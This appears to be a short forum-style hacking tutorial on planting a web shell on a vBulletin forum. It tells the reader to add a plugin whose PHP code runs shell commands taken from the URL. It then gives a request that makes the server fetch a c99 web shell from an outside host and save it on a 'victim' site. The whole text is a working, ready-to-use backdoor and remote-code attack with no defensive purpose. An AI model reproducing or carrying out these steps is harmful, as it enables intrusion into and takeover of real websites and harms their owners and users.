How to upload a shell on vBulletin..

How to upload a shell on vBulletin

You need a vBulletin Forum and its
Admin account with Plugin
permissions.

Lets start:-

1) Find Plugins and Products and
Collapse the dropdown box.

2) Click add new Plugin.

3) tittle the plugin anything you like.

For Hook Location put:

[color=red] ajax_start [/color.
Execution # 5.

IN plugin PHP code
put:

Code:
system($_GET['cmd']);

4) Save the plugin and make sure its
enabled.

5) no go to your forum url and add
this..

Code:
ajax.php?cmd=curl http://
sh3ll.org/c99.txt > c99.php

example:-
Code:
victim.com/path/ajax.php?
cmd=curl http://sh3ll.org/
c99.txt > c99.php

And enjoy your shell.. :-D